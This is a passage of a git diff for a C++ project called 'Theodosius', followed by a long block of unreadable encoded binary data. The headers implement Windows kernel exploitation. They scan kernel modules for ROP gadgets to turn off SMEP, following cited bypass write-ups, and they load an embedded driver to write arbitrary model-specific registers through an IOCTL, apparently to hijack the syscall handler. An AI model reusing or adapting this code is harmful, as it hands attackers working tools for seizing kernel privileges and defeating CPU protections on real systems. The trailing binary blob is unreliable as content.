m_kpcr_rsp_offset; +extern "C" std::uint32_t m_kpcr_krsp_offset; + +extern "C" std::uintptr_t m_pop_rcx_gadget; +extern "C" std::uintptr_t m_mov_cr4_gadget; +extern "C" std::uintptr_t m_sysret_gadget; + +extern "C" cr4 m_smep_on; +extern "C" cr4 m_smep_off; +extern "C" std::uintptr_t m_system_call; +extern "C" void syscall_wrapper(...); \ No newline at end of file diff --git a/Theodosius/utils.hpp b/Theodosius/utils.hpp new file mode 100644 index 0000000..9566443 --- /dev/null +++ b/Theodosius/utils.hpp @@ -0,0 +1,414 @@ +/* + WARNING: utils.hpp must be the first file included... + this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS... +*/ + +#pragma once +#define _CRT_SECURE_NO_WARNINGS +#pragma comment(lib, "ntdll.lib") + +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include "ia32.hpp" + +#define DBG_PRINT(format, ...) \ + std::printf(format, __VA_ARGS__ ) + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; + } RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; + +#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196 +typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION +{ + struct + { + ULONG KvaShadowEnabled : 1; + ULONG KvaShadowUserGlobal : 1; + ULONG KvaShadowPcid : 1; + ULONG KvaShadowInvpcid : 1; + ULONG KvaShadowRequired : 1; + ULONG KvaShadowRequiredAvailable : 1; + ULONG InvalidPteBit : 6; + ULONG L1DataCacheFlushSupported : 1; + ULONG L1TerminalFaultMitigationPresent : 1; + ULONG Reserved : 18; + } KvaShadowFlags; +} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION; + +namespace utils +{ + inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask) + { + static const auto check_mask = + [&](const char* base, const char* pattern, const char* mask) -> bool + { + for (; *mask; ++base, ++pattern, ++mask) + if (*mask == 'x' && *base != *pattern) + return false; + return true; + }; + + size -= strlen(mask); + for (auto i = 0; i <= size; ++i) + { + void* addr = (void*)&(((char*)base)[i]); + if (check_mask((char*)addr, pattern, mask)) + return reinterpret_cast(addr); + } + + return NULL; + } + + inline void open_binary_file(const std::string& file, std::vector& data) + { + std::ifstream fstr(file, std::ios::binary); + fstr.unsetf(std::ios::skipws); + fstr.seekg(0, std::ios::end); + + const auto file_size = fstr.tellg(); + + fstr.seekg(NULL, std::ios::beg); + data.reserve(static_cast(file_size)); + data.insert(data.begin(), std::istream_iterator(fstr), std::istream_iterator()); + } + + inline std::uint32_t get_pid(const wchar_t* proc_name) + { + PROCESSENTRY32 proc_info; + proc_info.dwSize = sizeof(proc_info); + + HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + if (proc_snapshot == INVALID_HANDLE_VALUE) + return NULL; + + Process32First(proc_snapshot, &proc_info); + if (!wcscmp(proc_info.szExeFile, proc_name)) + { + CloseHandle(proc_snapshot); + return proc_info.th32ProcessID; + } + + while (Process32Next(proc_snapshot, &proc_info)) + { + if (!wcscmp(proc_info.szExeFile, proc_name)) + { + CloseHandle(proc_snapshot); + return proc_info.th32ProcessID; + } + } + + CloseHandle(proc_snapshot); + return NULL; + } + + + namespace kmodule + { + using kmodule_callback_t = std::function; + inline void each_module(kmodule_callback_t callback) + { + void* buffer = nullptr; + DWORD buffer_size = NULL; + + auto status = NtQuerySystemInformation( + static_cast(0xB), + buffer, buffer_size, &buffer_size); + + while (status == STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = NtQuerySystemInformation( + static_cast(0xB), + buffer, buffer_size, &buffer_size); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + return; + } + + const auto modules = static_cast(buffer); + for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) + { + auto full_path = std::string( + reinterpret_cast( + modules->Modules[idx].FullPathName)); + + if (full_path.find("\\SystemRoot\\") != std::string::npos) + full_path.replace(full_path.find("\\SystemRoot\\"), + sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); + + else if (full_path.find("\\??\\") != std::string::npos) + full_path.replace(full_path.find("\\??\\"), + sizeof("\\??\\") - 1, ""); + + if (!callback(&modules->Modules[idx], full_path.c_str())) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + return; + } + } + + VirtualFree(buffer, NULL, MEM_RELEASE); + return; + } + + inline std::uintptr_t get_base(const char* module_name) + { + void* buffer = nullptr; + DWORD buffer_size = NULL; + + auto status = NtQuerySystemInformation( + static_cast(0xB), + buffer, buffer_size, &buffer_size); + + while (status == STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = NtQuerySystemInformation( + static_cast(0xB), + buffer, buffer_size, &buffer_size); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + + const auto modules = static_cast(buffer); + for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) + { + const auto current_module_name = + std::string(reinterpret_cast( + modules->Modules[idx].FullPathName) + + modules->Modules[idx].OffsetToFileName); + + if (!_stricmp(current_module_name.c_str(), module_name)) + { + const auto result = + reinterpret_cast( + modules->Modules[idx].ImageBase); + + VirtualFree(buffer, NULL, MEM_RELEASE); + return result; + } + } + + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + + inline std::uintptr_t get_export(const char* module_name, const char* export_name) + { + void* buffer = nullptr; + DWORD buffer_size = NULL; + + NTSTATUS status = NtQuerySystemInformation( + static_cast(0xB), + buffer, + buffer_size, + &buffer_size + ); + + while (status == STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, 0, MEM_RELEASE); + buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = NtQuerySystemInformation( + static_cast(0xB), + buffer, + buffer_size, + &buffer_size + ); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, 0, MEM_RELEASE); + return NULL; + } + + const auto modules = static_cast(buffer); + for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) + { + // find module and then load library it + const std::string current_module_name = + std::string(reinterpret_cast( + modules->Modules[idx].FullPathName) + + modules->Modules[idx].OffsetToFileName + ); + + if (!_stricmp(current_module_name.c_str(), module_name)) + { + auto full_path = std::string( + reinterpret_cast( + modules->Modules[idx].FullPathName)); + + full_path.replace(full_path.find("\\SystemRoot\\"), + sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); + + const auto module_base = + LoadLibraryExA( + full_path.c_str(), + NULL, + DONT_RESOLVE_DLL_REFERENCES + ); + + const auto image_base = + reinterpret_cast( + modules->Modules[idx].ImageBase); + + // free the RTL_PROCESS_MODULES buffer... + VirtualFree(buffer, NULL, MEM_RELEASE); + + const auto rva = + reinterpret_cast( + GetProcAddress(module_base, export_name)) - + reinterpret_cast(module_base); + + return image_base + rva; + } + } + + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + } + + namespace pe + { + using section_callback_t = std::function; + + // returns an std::vector containing all of the bytes of the section + // and also the RVA from the image base to the beginning of the section... + inline std::pair, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name) + { + const auto nt_headers = reinterpret_cast( + reinterpret_cast(module_base)->e_lfanew + module_base); + + const auto section_header = + reinterpret_cast( + reinterpret_cast(nt_headers) + sizeof(DWORD) + + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); + + for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) + { + const auto _section_name = + reinterpret_cast( + section_header[idx].Name); + + // sometimes section names are not null terminated... + if (!strncmp(_section_name, section_name, strlen(section_name) - 1)) + { + const auto section_base = + reinterpret_cast( + module_base + section_header[idx].VirtualAddress); + + const auto section_end = + reinterpret_cast( + section_base + section_header[idx].Misc.VirtualSize); + + std::vector section_bin(section_base, section_end); + return { section_bin, section_header[idx].VirtualAddress }; + } + } + + return { {}, {} }; + } + + inline void each_section(section_callback_t callback, std::uintptr_t module_base) + { + if (!module_base) + return; + + const auto nt_headers = reinterpret_cast( + reinterpret_cast(module_base)->e_lfanew + module_base); + + const auto section_header = + reinterpret_cast( + reinterpret_cast(nt_headers) + sizeof(DWORD) + + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); + + for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) + { + const auto _section_name = + reinterpret_cast( + section_header[idx].Name); + + // keep looping until the callback returns false... + if (!callback(§ion_header[idx], module_base)) + return; + } + } + } + + namespace rop + { + // https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/ + // http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1 + // just implimented the rop information from these posts... + inline std::uintptr_t find_kgadget(const char* sig, const char* mask) + { + std::uintptr_t result = 0u; + kmodule::each_module( + [&](auto kernel_image, const char* image_name) -> bool + { + utils::pe::each_section( + [&](auto section_header, std::uintptr_t image_base) -> bool + { + if (section_header->Characteristics & IMAGE_SCN_CNT_CODE && + !(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE)) + { + const auto rop_gadget = + utils::scan(image_base + section_header->VirtualAddress, + section_header->Misc.VirtualSize, sig, mask); + + if(rop_gadget) + result = (rop_gadget - image_base) + + reinterpret_cast(kernel_image->ImageBase); + + return !rop_gadget; + } + return true; + }, + reinterpret_cast( + LoadLibraryExA(image_name, + NULL, DONT_RESOLVE_DLL_REFERENCES)) + ); + return !result; + } + ); + return result; + } + } +} \ No newline at end of file diff --git a/Theodosius/vdm.hpp b/Theodosius/vdm.hpp new file mode 100644 index 0000000..86624bf --- /dev/null +++ b/Theodosius/vdm.hpp @@ -0,0 +1,66 @@ +#pragma once +#include +#include + +#include "loadup.hpp" +#include "raw_driver.hpp" +#define IOCTL_WRMSR 0x229384 + +#pragma pack (push, 1) +typedef struct _write_msr_t +{ + std::uint32_t reg; + std::uintptr_t value; +} write_msr_t, * pwrite_msr_t; +#pragma pack (pop) + +namespace vdm +{ + inline HANDLE drv_handle; + inline auto load_drv() -> std::tuple + { + const auto [result, key] = + driver::load( + raw_driver, + sizeof raw_driver + ); + + if (result != STATUS_SUCCESS) + return { {}, {}, result }; + + std::string symlink("\\\\.\\" + key); + vdm::drv_handle = CreateFileA( + symlink.c_str(), + GENERIC_READ | GENERIC_WRITE, + NULL, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + + return { vdm::drv_handle, key, result }; + } + + inline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS + { + if (!CloseHandle(drv_handle)) + return STATUS_FAIL_CHECK; + + return driver::unload(drv_key); + } + + inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> bool + { + std::uint32_t bytes_handled; + write_msr_t io_data{ reg, value }; + + return DeviceIoControl + ( + vdm::drv_handle, IOCTL_WRMSR, + &io_data, sizeof io_data, + &io_data, sizeof io_data, + (LPDWORD)&bytes_handled, nullptr + ); + } +} \ No newline at end of file

P~gONzY ziEv4PS~9NDb1ImB2sFfjaLX69A+{E5`Jy;f5W_8BtQLq2vk_R$sAoK}V?xBt1C=_p zcZAP&Vm2eOlC93rf<=42FY^+x>^l~v-tyicrEFTxc6$b`f!PbHm z1B&BgqFOOv^G0#Sn3xZz)pXUBVmi!wbqTI)Yh1jm*kUkY#;dLx6T8jnECQ>=0X3ba zNKJ^T*u_$UR*!4OR2Mx@l=Wb$i@+KdKvP{**R)ld>Y}_>T!yJG#cb`EMmPO&Y{9VW zSUOETQC&B#My8%ftY;Cy)RS^;{kRTuMx1kE*bU;EG4I1E9WoonnP5tX(nc|fr*x=p zY^&j<4b@F7RZrSb-qe!yqz&cGELl(5P;RtjW738|Qyd5G=+dQ{y7fcTi5p<>-6|k@h$e&UaAD#58lhgL*cm z(|iZDTwDw1JE(QUH9g-!wNp}q`3}lml1%d*1o9FP%y%R?I^RJeJ{^e8cX0e#1LjRM zV=2JXj^$c)Mj2kv$hWJNp-a{;cwjejHTa-GE>rI9fQRjBnP#;Tk|d5M_EYmAuotG2 z0*5c@6idaN+UG)sCS@_Enu9k%vg)-Iq-bI$QZ?9H$#>)d$NOH0Q_5qw=5Q5(98K9` z96l@1sPYLRn!5>5le!av5Y6FY5Ijts>&O=&YIw_}4#=5@`)^I)kut9xI@nBCP<$%q zaKeWG<(vt?Gpq1KC%K?pGl^mjp6SCu4qZ?_nLr2VIIni;98@gXpO}DzTQYv zZXlB@t2fkwr_NQn2%>bwp-LqeY-^w=x~2dH&mCsiR4~0CDPQaxXxfI-2AQQ1GY-W+qMc1&FhN zX8i&bJimgTXyz|K@WKsNP^4(`FHyk)3n^Lz#3`db(Ne%hiXCckj(%uCU_pE-n)h1> z7YR-OZN#_~EdwlwON|x-He&dp6@dkD!P3IOMhri+K(HV#ds-&g2>7AKO-ls}YAqI2 z_l@~XD+UR|XPn3xtsX3H3S1EfA#_Gd2n%Xz)YWK>aG(+x!_%5hs!3msmJPP2l)f4* z9R#LW)}Cky5vQi58Z|?U2%BkA&tYKtT@3f*cq11{SN|35%dyvg6lm%a@i}rFfphql zZndY>UBg8*JiD%9DU*C{e2fRq;M7|P?eykH;Ige&E!CQW2M+3B><@>&Yan*itM}mh zO!!{7ieb-8Rma=_JHk=60FJ0DuJq?;&g_O66s9x_f9eS&C&7*|g-00q1-S&TT~zS( zY~`yLZYx0wF=66Doxvdufw=9N9|-4n@aS|J?iI~YmCa4jd%Sq>d>=USh{oJX zu8@XX92t18Ud=CY zz%RrU=d>6H8l(lbmafcHtqnOEr{i2lxkocJOvf3zv4wtUl#Vk4;XOKJXpoLGGYp1? z=r}XeU}%7jGwtvq0Cx6xEgGTYOa-eZ?vo-!BXk_f^k{@uG;t)`qc25+cpOo$%;30! zm!e_Zf}rwaV@8HXae=Az!3h+>yZlJfVD2JkXrDBqyGX7HG_c1>XmPqG(6}CFdUC;w zJs39{*yBtYUWKL7p>aLVq&wjZ3~G`zuE(K5sRQ2grHrLf-J)RaN*U{9^a2(KHH^Hg zvxp9A7{eWarbSmi*PScC&EB9_g>BY!H$1(7T{%+JTSlqAbWc9r-kno8e8;6NA5-SAq}o!JaT2x}EW)R);1#E2m3%xnmvL$uCtE8e~aM+;gnFmPBb-`KS!FWfrbUk4;X>c z&=*%~y+ycZ70j>@)2WJKD(M(^gml_s5L7+YK_H{k7h@_twJhxGs$mN`DiCb&X1w5- z3>^Frq3RV!!U-KBRKem%IH5y?s#qM+6FP*b7R4c&gd#(uU!1|ooT`op(eM|CiX~{A z-D(a~594yiISi7ne6maXV4!u^&JN8_|eSY3HLDEG6Oa zG#nIh#~MK@O%cRrs(%CI^x$d}JyIQtd5k6pd%EMzq*Soj)u(QHqDZM=u>)>w;(dHnsaRR9 zHU;Mjp-N?HsvYX~398idm};#hc!mIV>ULP~gjd6Yhlo+99*6a6a1R(o>S_!zcuE9C z>S7GBO(%(_)+}}z38pzUtJ4jYCey5zK*eznFH5s%Rts3aDKBaI%yPCj*wDnlwi>N3 z$k?S}*ZKp2qgsz=*M+sdvj{KM2j>DHLG{HTj2eXmRT?J3s*fU78WyqYV?Llt(PXs) zc6PK(^}>{)qrllGhNfa?nKl=}2SHT)HUyrq*F#TK4Gc&{gq%=Ki0QTV42;4!>qIA1 zAtb2QQY}FzN!O#=5kZakQ2j9UJZ22VhpIqKkH&|VR}vJ953R8xs1YApU9sM)@`utx z>#B%ugr^mip{w*zcv?+GbR#^irC85Ku21_z5#0z+yF!K@xjyX$MRW*{lQk?_TaPw5 zWT=Z{AJHaZoyxa0*k`q8?j7$8}jQil#6gbrTpZ6>Pl6 z!WF1g)DSHf3#JlLDi#?H%Y|SnmpX8Z%0Ki>@vZ~6sT%?aQ_0kUp=faGi!>EY9U97p zXv*(8G_(#%BMr|o9Tp|Q)M?j&IgQkL*MY<8hiRlLQD=eZ^VP#ZR*dSjJrV3jJ4znC-sbshS_wbv9!^VDMoN-(z!ozq)xWSrE2X6(T zsISao@Tw$=I{R4+UNu2cS4|d!2l`Q@zLT$+4c2xjQden;!COJ7QrBpx!HHfdQdek- zWtOS)i^#$0NEn)WJ5#Q3XzJf0a`0>#X##oeoo+Bj)Zle=3_LM>6v&hda2g{yUqjG?(*-c}nzjl@sY1r!UK0Xq$pANl zwMC%MXa?&z2#&?NHc^S>(0T&EIkdi{at>`E$Yu_0DCohddYAzlS!ywx;j-UYl8d_V zHj(7u$U$_zsUUa5Jr7*nqrRD-7pCb--zdr9DWw>^Nzg0s%sRPGS-LuNnMR6cORjY2 zw%lTioN1G6u|Ish6yr77lDUs)wY6Z65CgW^VsNe|ic@Tnds=!`ft$(9uHZ;j3`*}R zXjPx-iz>aVz-oKH&Ifu`fkilMlNukrt6+-3yZ7jKn|Orb5oAv5R9j^+ZHqkavWw%(v~)NCeE)zlsMBUTgQHC_5?!{M*Q0CR z7JDj{_R0+Hd|R8Sa*dc~tKl)qc7ibh z^x!~Bl&6bwaA*bUJ(6B**9BLRb#_n{fo|=fSJv4l$$aHmf?Np>wZVArEXh2b zoh`}Jb*9XbWWM&GB=_qov5O$%p*y-W*wq2xsXTax6%(+VgK6WYGuJ{&a9|2g19um7 zPR1UVUhWMKgTWZgv*hVqZT7Upo($~xP@g*AlKbEgsgyAhTHqjfGPO`3%Gnf*D0G#* zWTMRd;vxsZS6M6(c{8R<90dE=TOulEO!tuqBR}?a5S*6%1fr5n!4nyjANxB9j_Cms zkxxOTAs+`i2=;N1L{v;42Rn$ouHAT5=gKO_QY41eL>{9#?aP0>|qNONA3+ zSUyvdgM)Ffn9h>q;B|bI&$i`kdk^%9w0b;81j5@&=;2%&P@ica2j|H;C*XV=z%$XQ z7GGe=uri0|s9>0|;c@YzxZIH%fY$`5Y%aFsbUT;LCAJE$YtWT1mDJ!MIn0~O zEV;d#17B{dl`03m!jdyxJb}8>R^bFao+4f)>pa7|S_Fc_>M`!W6Lpw`QlEQ`17H`| z$^-+~$pEjee=h>Tr;RX@*V}q2c)|eH8zeQa=b$%=GEepXAn82Cy-Ae0{B9O>-Y~hv zQej^Ziyxn}!^r>92H-oBZH;hzI-OOB*sTJ_J>qSW$|<~El7lyT(f6N3nS8j(x zopKC*r!5yb0n~)~JFIy_s2r83TB$bQwRZE760vy>ywe>Yy&%LceaS>KqHw-w^aFlpD{+Fb3cl3!QbLM_3 z$~+c-X6aRu+qeN7Y-Je}C%$j3vN#Hln%)nkjxS>)?S}*AF(KCi%L0{Ad9)x>Lc6 zBUl7KiE_C~x4xg_KxeKBpEOj@&!dB1EWIODZcBIIc`NXE`1Ig`d?bIZLjp$GMxWKx z_YFGHA@t@vhWg=mIW^J+GZ$DiQjd`kbzVm&Eghc7r@#%Ci1)48`4Ca(bw;D1F*kJ(H~(C7 zx9rxn#6s|mHVnC*CBj;tN??6KWWO8ODnA;rp&)Y5jcm1~^M7Mo< z{%vN7C9O4D8jr$Fmezx1O2v}0pS^-A!GZ>2xyO zM!ReVoX$9J7)nbIi(;%rToT$vl|% zSTZd3sK2ZTBKM|MLFLZBS5SkGzhay06I49kP}iD%2f!P*0}g^`LNgo$-^85hAh_hV z69{e}+goa-3%(}`vtwE`?BF0cmODBKj%Ce3a6ERBi5`x}EC<2y*x5mFJZ3ux-rSgD z5m>0)8xD#(_lCQOI`@XViaO`RZkFC#EN7;{Q&LnOb7jJ~vAw%Yz#T>EN%pXa0eI0) zciHnqnKNNeQRhsUFY25L3q+l(>_S_I*iq#7l2q<&7D+NEeX%5SXR}0-Ic9suW%Y>| z+O^roRyo@HT4FXky;m=3_Os>S;|Sz@e;eR=)&Z873qBc)UDbht2p?}H#|POm-`+ad z5dx5PXIrEdKQOYH`gmfT0$YJWMy-TqOQUV!aQ zs$NH1YAI_x8gz^#bM-n_lDT>vC&^sBj<;pl`K6ehAgR2eexfA98+=sGCs}%h*DEL6 zBG;}{ED@f`rrbW&68p>fBG;hP1RYLZ(y2P#($zup_{IxX-ZSDd9`Askfrqw3UE-Mz zhV%U_n;3xY49eNFC7CyC&k?m|($yUYgoF45(Jm^QY@t`K!j{*{8>&YJ^Q2{P|u zT`j5jb~|kz{!Rk&J(FAb{{A&G!n@MfO2G6KkA~NYKw3Aj--|kr9M=naS2ygIQ4766 z0*pMqQPjDT{6WyWyNnCmBmu?+ZWeWZChQhLht~?g169L6ItY&Btpb6cp42XGa{!#t zw~GXqiH9* z&arz^&}VW_`jjP?E9tE9g2dAnVBC~`Mi3!xl&{Z9GDqz>K{kew=OvkI-3x-u@5a1n zsp_s7bx$veGQYO?a$GOMVQ4hCykdzkVIuKWTdeAB!q?)Wv2E~YTZ62m+2`wm%9Eux zEVY+6O5PMiqka8FlDQ1ul4P#kZ^z{_JV3__qjw~koxdx|yzG3>mNU~Tl`IqQ%LKd$ zLaqM;iRd+b{8c8x&pY9K@I#w0cWM77$(+c)OEM3||Bz(JLaM4Ci8?=9@lQ$b1qalB ze=GxBhX0ZPzQ8B8+@0?%@`l%^HehTdeL~{%ZmH6HQbCU)xBboP!(21bia{JO+O&13b!pCj%VK z??nJk@Z*Qme{dlM9nl{pq!ae4C?!A10H@?<8Q_%sA_JU~UnKzEQ#MlKC1%dZ<|{RQ zcfFh`lo8>S_%;%JH;a1Qgau@C{7^~KQel5yx7h|sg?&Y8(?dj^2mPU<&V9x(QRfyt z+|oNza8H#Q#Zr>Yp-0$qI>S%tj}&Bh>XK@}C|ici&v5~d7J*KFGI(hj2tG%H{qZsa zP|m}*YAJzZYygg5(DGP8h6kxA^s<5slO8I(akgB<{Gkk3&eqEcApgtTKo5LzmPV`< zL^%&9x)Cv6AS%-_11OFw+C&AP^`a=OBG=2x*MU_<-FTjFH4*67 zH?AhwdI5GQN|j#THecOl;4v4D#6(dyBC&=Da64Gj((|bfZbfTJGDmN1TP{|NK42YD z=RROvQRhBjJyGXwa(zoLKpFM6Lk3Vy-9SWO&z`E$h5|5P%uO~Dbq>F=sB<1|BI!mw z+*H)r|7N1j{u^x_wh6f(ZW49&pAvQU-z@1y{98nw{ZA5go}Ns$bvQ+_GL5IVtrAfg zfM!6QMVo`*U5Y6Vg5$BdOc*;ITgU{|C5p$E4ua#cl|;-m)3UXLU?1B!2u{mXnK06l zmI)&*?GA!lXT~OayNzpPCB3W1Xq-8j;MUtA0!9bfDFR%3yCfYR)u+~<7j=%nwvyfp ziKMmgGz$p7jEIAHw;=NUqk^Pz)QWUY`4n6vnC6zn&>5|N;>apb>UCS$$ zNZ%62qbo7pRTojLruF#O>w@5n2f9nq=VXGfNa4l$olNkhF=Pf@OussA6OkEC#F%r; zw4h)oiK^3fw%*m-!JYB;qR!*_4x--0^>IfL=;jJv69LwDvUOPKatvpQI@ijbMV%)U zvu(ZGXm4{wnfD^jtwUqQ1K*bKLfjbe88yGGBa8 zTkdV=HU4}_=9DdvWbUaKO0qFW*h|#8)-95BbN^+r3~=(6NC4N$y=@szSi#c3U`OeM}qRhp1q@)K&f@7C^lqhpwbF`@Q)9A-o z`T%S;)5v^mTDD%yW^DG^nwWm6Bz9p9UhWiD!$Q#5L3L@Wvy2w`HQ;U#j z>cK9S0lp7=i3k|CFfWw>uC$j~K!vvoFSkY5OEF#zxk3b>P0-rsN*jRJ1L5r!-PK$b zCo1W#4y|5otKEE>*zatW^Zpt^9MBWHYi+eJ2j7A0!?;nwUuQwa;QM<^%%qL|_v& zJGTccHF)NUM)L!+Q*oi$*5ghl_(lTyc|vCJV!_8j5PH&v_|<@?1d(S)PYWvFL4U?pxl?*p z5ZUo_g31p}Ja4PL9mWv(f~fOz120-SKIKUR>`Rt9E%KiH%a(3F1^SAuMxFwF)zZzU zKwq=ea)*7-?CL6q29JdF79`1 z(Ktl%U0da+qu#T{-~nbD1KziRk}*1cAjv#B{Z*2Abox+|`6ZFR*)mVS|89xK`|$q| zL?~!V)JKxc9r!;5*?6qxV@c*(@-It<#bzhZwLY=*8F-cfzq$0O0Kf-O;Z!G@&wVBl z1Mp5e)x>`b0KWA}`sZ=I3O)5SK9c+kOUIXFDD;<>T27mf9Q?=9)x*IQ{3}uBv&u-CI0KUjK>Y&8HfaYBLh5F{ni4qje4&3oh>$L@q1h3n~FbJBAzdAo?`K%O{j;e zXbAnu((yHtE~vRg{Ollj67Y*ibQ?Z?br2Oj#(K%v-T%Ip4!rjTGj`f$@Er)u*=dMP z2uLw>Lrl`efFCN)28)5H;KSAg43PnDl0zi`98irMCh8o1xTHgkqf{&<>TpJa@wn{> zk>Ly-DeCIf0m}1HE`;-Hw2cI3=F{f+(hfi!cuyI+j0EAS`Q&Ac1BiGTD?xZ}K7N7% zr%uaCK;+F`3{(D(WL0SbD452z`XAgFae`+{8Lub7~;? zXeEMc)CXJi_ZHTy4+h`MM2~CL0VlT@mtMO**rF4?jvLIIiC(u37fJMb^+8Vb`t?Ch z^agdnNTN5a4+dZC#%$ck4MHbK2i9#|hvHVWiABM)O-3u)RMa{AW|9uEpsu`8)VYIf zvi0cfAteJ9-S;(10POgvqgJScY;i-}4ky_V9hpq+aIy>GcGxN*9Rp>2k0J#F5Pkp@ zOR>$#1&8p`*G#6=IA;nH5i3yMBCZ^BDKsiz8*Y9GmzzG^~ zLPpJ*Aw#MfQ;cT17$Zj8xfnA>+dCm6Mmva5P<<$AJGvM%vuiS>4j3m#JGmIs(JTpq zbm4jSlt()|8LrW@MJ8xo)x+8}w!afolVrN+0rfDRA|L3&)T)4-9pt1UDLA+u#wj?&iA7RyXg!Q?njGfB zpuSLlbhyQI6HM zYQ~;xAwu4|F=g0)amwcS-Ab2Hqo`dLZ59%5%u+Fc` zvA+wPTu@KQ--UHK_IHt+Q)Nv4F0RXQ;auY6j0$t98)8qF2@t%p5^bWFyCL>;g%dKW z-j!~MJzXV3(I$Ge8)8qtb3#U(u5m-`=~@RAX`INCoJuKC# z8|!lH?+;EcTI+AB%dx+k-CU&B-%^+3ocp7bGiv>a`MR$T#lG%$Q%1ZVs6(-@ z2VIn^PZY0*>QLybJXPud@KP*9<0(*BqWVK0w65Qq+WdBTNox}KB}-KA3= zJynNdUr)O!Bafb`L$R-C9aOYVJy(ZfU(dTKBVI4mq1e}pE-F%|UaCW}ub17F5wBP3 zP+S{cbx=l~dd-Efmp?lYqfWi15c?UtA1Chy1+dWO$kV zw$1cpWe`Tn}S!|8iqy z+&-y?ajAalz|a+y>Ss=d+ugryCRfc3;Eg%z%RhG^?BxpwVzk~bT?nV?KN3<%7x76w zO4CVB#{S(8 zA_MtE-NKJDz#Yp^0-z2uBo9B!0DJhw0>Te*kcVGofIWB(@u!Wtg0F3m2VVwws-3U^ zcu5^TKB2Y`X%3NeL2B=fsD?UJo1T{raZzgLjeHHQL$&A~rC|Tk0u8IkD$P%U>#uSk-uCcic@Emdr2?&mrr7Ydjg|L^cB&67bwUoSU?Lv5cyp4<$J4@(@hUTet zD9*dINa0bp6rpw(k=BKrkr9XtRg|oQ;KrAe2!5HrLz0aNe5a_Z<66anKsh>{KTO8d|aSUVPG@vbieiJlgb1x-r`Hi8>ckzpV!+BTxheY+#_&!RN@# zkaRvrZl)!ddLVi9@WghK%rm6zExDY6O@&+!e7dm8TNOLh!?=0wXk#teaz7lVs+V;& zC&F32lg+5}UMa_Bi8>eQ&Z5rkcebeWQz3H%Jvt;9Zv-Ovq{8 zzH1!{ijlD0>S5d)&#i+^*D>4OO+nM9OYTvJGGaEb9>y`-vkt};Xue3PgLEn97dQ~e zd8!`^1tgo{`mvX!!w1nQ{3223@QX#A*Aq)b9o`6}rNZ7akgGx@iP^`+Kx3lbcVC&| zW61Us0X#Q``rrK>1fL9ZfJpE)4ixm@=w9lB4iX4>FNL!EU{PlM5K-q(5+5q-oK1(x z0Cxz7iva6K2s$1ROer{0)H#cevUT-d3(vHUb`S;r-s>?gguNW=Lb!z;=R&yqJKll7 zdBs#~PH-Uox{o?jujCLuK_d? zZKz%E#a-`)*wYPeh@Y;%(G78${vbk}X*Y?wQ7$*j0GG=xGQgMkqYQ8yZxsPPSn)PV zFLre2af(lSoVU9nZZUtdp=`Mw=4X0^eus$Ggi#@SUr>Z6w!INU6IS z)H3gp8FkZu>g2s5!*%vPQRive{i5EXZaGk2^?=CaQ{0<9=pZ;>A94^d6Q^8z*oAP` zKjJ{RgdcSf+$TOJ6W!*!6puR@-hX<+!5Are(uMHy`Y90sAJi{CEd#vTd`1K~N1he+ zs!@8+IS4MA=N*KR))!m|m)?sGgyZ^>gW$g6Ws%^?-z$PXP=>b^cq00$3*q#>=0bQP z`ezryhhDxeAyqitoXYkM8Q{WyQwF$i{fi86ZGX!K!iPe*4|v{;)0Te=g#K&+4LP3+5Iisd2b@yd 